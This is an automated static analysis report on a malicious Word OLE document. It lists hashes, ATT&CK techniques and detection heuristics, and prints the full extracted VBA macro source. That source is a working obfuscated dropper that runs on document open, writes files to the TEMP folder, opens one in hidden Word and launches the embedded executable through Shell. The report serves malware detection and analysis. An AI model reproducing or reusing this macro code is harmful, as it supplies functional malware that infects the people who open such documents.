Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f0fe2d51b3c0092…

MALICIOUS

Office (OLE)

161.0 KB Created: 2016-04-11 08:14:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 251234861ff1ad9abfb0c07031c07868 SHA-1: bca4adc873f0d9f272611d10070a0c481adb7962 SHA-256: 3f0fe2d51b3c0092808b59f49385843dd22fa78be213919c050799c548adb8e2
514 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The macros utilize `CreateObject` and `Shell` functions to execute an embedded PE executable. Specifically, the script attempts to construct a path for execution, potentially involving a Run key entry like 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy', and then executes the embedded file. The presence of an embedded executable and the use of VBA to launch it strongly indicate a downloader or dropper functionality.

Heuristics 15

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: BC.Win.Packer.Troll-14 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: BC.Win.Packer.Troll-14
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    qew = Shell(kje, 0)
    End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    BCVHJASD = "1'2p3l; 1'[3lp12'232"
    Set fgbVgdbwq = CreateObject("Word." & "Applicatio" & BHJASD)
    fgbVgdbwq.Visible = bbvew
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
        LQWJED = ";'123lm12"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Function
    Sub Workbook_Open()
        Fnbe
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    KKLOR = BjnsSwq(3 + 90 + tpt)
    NNJDJ = Environ$(PPLOO) + KKLOR
    DDVD = "" & "." & ""
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1992 bytes
SHA-256: 7104394cdbad8d52fe88c94da43146a2eaa5f543d4fcda5907e28fbd3aec2b38
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Kuje()
    Fnbe
End Sub
Sub Fnbe()

Dim bbvew As Boolean, KDEW As String, tpt As Integer


tpt = -22 + 21
PPLOO = UHbdd()
PPLOO = PPLOO & "P"
bbvew = False
On Error Resume Next
Dim WOIEW As String
KKLOR = BjnsSwq(3 + 90 + tpt)
NNJDJ = Environ$(PPLOO) + KKLOR
DDVD = "" & "." & ""
LKEME = DDVD & "gi"
LKEME = LKEME & "f"
LLKEN = DDVD & "rt" & BjnsSwq(99 + 3)

FFFNNNF = NNJDJ + "bveqq" + LLKEN
SSHHDD = NNJDJ & "lkev" + LLKEN
WOIEW = NNJDJ & "" & "q3" & LKEME

Module1.HNbfw (FFFNNNF)
Module1.HNbfw (SSHHDD)

Module1.Nnfhhe
RLKDWD = NNJDJ & "bveqq" & ".r" & "tf"
BHJASD = Chr(110)
BCVHJASD = "1'2p3l; 1'[3lp12'232"
Set fgbVgdbwq = CreateObject("Word." & "Applicatio" & BHJASD)
fgbVgdbwq.Visible = bbvew
 fgbVgdbwq.Documents.Open (RLKDWD)
Module1.Lokew (2)
HYUASGD = Module1.Pjndw(WOIEW)
Module1.Lokew (3)
fgbVgdbwq.Quit
Set fgbVgdbwq = Nothing
End Sub
Public Function BjnsSwq(wbrw As Integer)
    BjnsSwq = Chr(wbrw)
End Function
Public Function UHbdd()
    UHbdd = "T" & "EM"
End Function
Sub Workbook_Open()
    Fnbe
End Sub
Sub AutoOpen()
    LQWJED = ";'123lm12"
    Kuje
End Sub

Sub Auto_Open()

    Fnbe
End Sub




































Attribute VB_Name = "Module1"
Sub Lokew(Qwes As Long)
poew = 35
Dim Uike As Long

Dim Kiej As Long
Kiej = Qwes + Timer
Uike = Kiej
Do While Timer < Uike
DoEvents
Loop
End Sub
Public Function Pjndw(kje As String)
Dim qew As Variant

qew = Shell(kje, 0)
End Function
Sub Nnfhhe()
Lokew (2)
End Sub
Public Function HNbfw(dnf As String)
ActiveDocument.SaveAs FileName:=dnf, FileFormat:=wdFormatRTF
End Function
embedded_office_0000624c.exe embedded-pe Office MZ+PE at offset 0x624C 139721 bytes
SHA-256: 8e3f11353ec13123fe2f2450cd72cdd0da4ccd962e56b9defeafd302566219ce
Detection
ClamAV: BC.Win.Packer.Troll-14
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1521903610/Ole10Native 116422 bytes
SHA-256: 30641348da11aa557d55e92cd557a78ae7ea9b3fb90a4c9321ca6aaf7b518b6f
Detection
ClamAV: BC.Win.Packer.Troll-14
Obfuscation or payload: likely
Carved artifact entropy is 7.69, consistent with packed or encrypted content.